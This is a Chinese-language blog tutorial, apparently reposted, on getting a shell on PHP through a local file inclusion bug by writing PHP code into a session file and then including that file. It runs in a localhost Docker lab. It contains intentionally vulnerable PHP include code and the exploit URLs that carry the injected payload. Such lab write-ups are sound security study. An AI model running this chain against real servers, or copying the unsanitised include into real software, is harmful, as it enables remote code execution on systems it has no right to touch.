PHP文件包含之session文件包含getshell


PHP文件包含之sesion文件包含getshell

測試環境

PHP Version 5.3.3
Linux c9810faa45b0 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64

條件一:獲取Session保存文件路徑

  1. php.ini文件獲取
  2. phpinfo頁面查看
    image
    image

條件二:存在文件包含漏洞

以下代碼為例

<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";
show_source(__FILE__);
?>

image

條件三:Session可控

<?php
show_source(__FILE__);
session_start();
$page = isset($_GET['page'])?$_GET['page']:'';
$_SESSION["name"]=$page;
?>

image
后端可以看到對應的Session文件以* sess_ *為前綴;且內容為用戶輸入的內容。

[root@c9810faa45b0 session]# ls -alht
total 16K
-rw------- 1 apache apache   25 Sep  5 13:08 sess_c49jouqp95g6mtmvfq89608nob
drwxrwx--- 1 root   apache 4.0K Sep  5 12:39 .
drwxr-xr-x 1 root   root   4.0K Jun 14  2017 ..
[root@c9810faa45b0 session]# cat sess_c49jouqp95g6mtmvfq89608nob
name|s:12:"cnblogcnblog";[root@c9810faa45b0 session]#

可以使用文件包含讀取session文件:
image

getshell步驟

1.向session傳入惡意代碼

http://127.0.0.1:7003/test1.php?page=%3C?php%20phpinfo();?%3E
image

2. 獲取session文件路徑

Cookie: PHPSESSID=c49jouqp95g6mtmvfq89608nob
結合PHPinfo頁面中的Session路徑,即:
/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob

3.getshell

訪問http://127.0.0.1:7003/lfi.php?page=/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob
image

引用資料

  1. docker image:italoc/php53 4cc33ed054d3 614MB
  2. refer: https://www.cnblogs.com/-qing-/p/11039954.html#_label1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM